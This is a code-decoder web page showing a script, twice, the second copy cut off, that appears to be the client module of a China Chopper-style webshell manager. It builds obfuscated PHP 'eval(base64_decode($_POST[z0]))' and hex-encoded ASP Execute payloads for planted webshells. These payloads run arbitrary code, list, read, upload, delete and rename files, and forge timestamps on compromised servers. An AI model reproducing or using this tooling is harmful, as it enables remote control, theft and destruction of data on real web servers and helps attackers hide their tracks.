Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
//GB2312 var pass=obj.pass; var shellclass=obj.shellclass; var List=function(){ r..
Decoded Output download
<?
//GB2312
var pass=obj.pass;
var shellclass=obj.shellclass;
var List=function(){
return obj.list();
}
function StringToByte(txt){
return obj.StringToByte(txt);
}
function FileToByte(txt){
return obj.FileToByte(txt);
}
var Base64=obj;
function GetIni(){
var list = new List();
//obj.msgbox(obj.shellclass);
switch(shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass,'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")'));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw=="));
break;
}
return list;
}
function RunCode(code){
var list = new List();
//obj.msgbox(obj.shellclass);
switch(shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass,'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")'));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", Base64.EncodeBase64("GB2312",code)));
break;
}
return list;
}
function Dir(filepath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass,'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D6526636872283437292663687228392926464428462E446174654C6173744D6F646966696564292663687228392926636872283438292663687228392926432E476574466F6C64657228462E50617468292E6174747269627574657326636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D6526636872283929264644284C2E446174654C6173744D6F6469666965642926636872283929264C2E73697A652663687228392926432E47657446696C65284C2E50617468292E6174747269627574657326636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0","QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7"));
//obj.msgbox(filepath);
var sss =Base64.EncodeBase64("GB2312",filepath);
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
function GetUPFile(bytes,serverpath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D206C2C73732C66662C543A66663D6264287265717565737428227A312229293A73733D5265717565737428227A3222293A6C3D4C656E287373293A53657420533D5365727665722E4372656174654F626A656374282241646F64622E53747265616D22293A5769746820533A2E547970653D313A2E4D6F64653D333A2E4F70656E3A4966205265717565737428227A3322293E30205468656E3A2E4C6F616446726F6D46696C652022222666662622223A2E506F736974696F6E3D2E53697A653A456E642049663A7365742072733D4372656174654F626A656374282241444F44422E5265636F726473657422293A72732E6669656C64732E617070656E6420226262222C3230352C6C2F323A72732E6F70656E3A72732E6164646E65773A72732822626222293D73732B636872622830293A72732E7570646174653A2E57726974652072732822626222292E6765746368756E6B286C2F32293A72732E636C6F73653A5365742072733D4E6F7468696E673A2E506F736974696F6E3D303A2E53617665546F46696C652022222666662622222C323A2E436C6F73653A456E6420576974683A53657420533D4E6F7468696E673A496620457272205468656E3A543D4572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A543D2231223A456E642049663A526573706F6E73652E5772697465285429"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1",StringToByte(serverpath)));
obj.Add(list,obj.Input("z2", bytes));
obj.Add(list,obj.Input("z3", "0"));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw=="));
obj.Add(list,obj.Input("z1",Base64.EncodeBase64("GB2312",serverpath)));
obj.Add(list,obj.Input("z2", bytes));
break;
}
return list;
}
function DelFile(filepath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'value Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", filepath));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztmdW5jdGlvbiBkZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2RpcigkcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbGUoJHBmKSl7QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0+Y2xvc2UoKTtAY2htb2QoJHAsMDc3Nyk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2V4aXN0cygkRik/QHVubGluaygkRik/IjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7"));
var sss = filepath;
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
function ReFile(oldname,newname)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'value Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", oldname));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRzcmM9bT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGRzdD1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtlY2hvKHJlbmFtZSgkc3JjLCRkc3QpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs="));
obj.Add(list,obj.Input("z1", oldname));
obj.Add(list,obj.Input("z2", newname));
break;
}
return list;
}
function ReDate(oldname,date)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'value Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", oldname));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRGTj1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskVE09c3RydG90aW1lKG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk/IjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw=="));
obj.Add(list,obj.Input("z1", oldname));
obj.Add(list,obj.Input("z2", date));
break;
}
return list;
}
function ReadFile(filepath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw=="));
var sss = Base64.EncodeBase64("GB2312", filepath);
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
function SaveFile(filepath,txt)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvIEBmd3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs="));
var sss = Base64.EncodeBase64("GB2312", filepath);
obj.Add(list,obj.Input("z1", sss));
var txtt = Base64.EncodeBase64("GB2312", txt);
obj.Add(list,obj.Input("z2", txtt));
break;
}
return list;
}
function DownFile(filepath,txt)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7"));
var sss = filepath;
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
} ?>
Did this file decode correctly?
Original Code
//GB2312
var pass=obj.pass;
var shellclass=obj.shellclass;
var List=function(){
return obj.list();
}
function StringToByte(txt){
return obj.StringToByte(txt);
}
function FileToByte(txt){
return obj.FileToByte(txt);
}
var Base64=obj;
function GetIni(){
var list = new List();
//obj.msgbox(obj.shellclass);
switch(shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass,'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")'));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw=="));
break;
}
return list;
}
function RunCode(code){
var list = new List();
//obj.msgbox(obj.shellclass);
switch(shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass,'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")'));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", Base64.EncodeBase64("GB2312",code)));
break;
}
return list;
}
function Dir(filepath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass,'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D6526636872283437292663687228392926464428462E446174654C6173744D6F646966696564292663687228392926636872283438292663687228392926432E476574466F6C64657228462E50617468292E6174747269627574657326636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D6526636872283929264644284C2E446174654C6173744D6F6469666965642926636872283929264C2E73697A652663687228392926432E47657446696C65284C2E50617468292E6174747269627574657326636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0","QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7"));
//obj.msgbox(filepath);
var sss =Base64.EncodeBase64("GB2312",filepath);
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
function GetUPFile(bytes,serverpath)
{
var list = new List();
switch (shellclass)
{
case "asp":
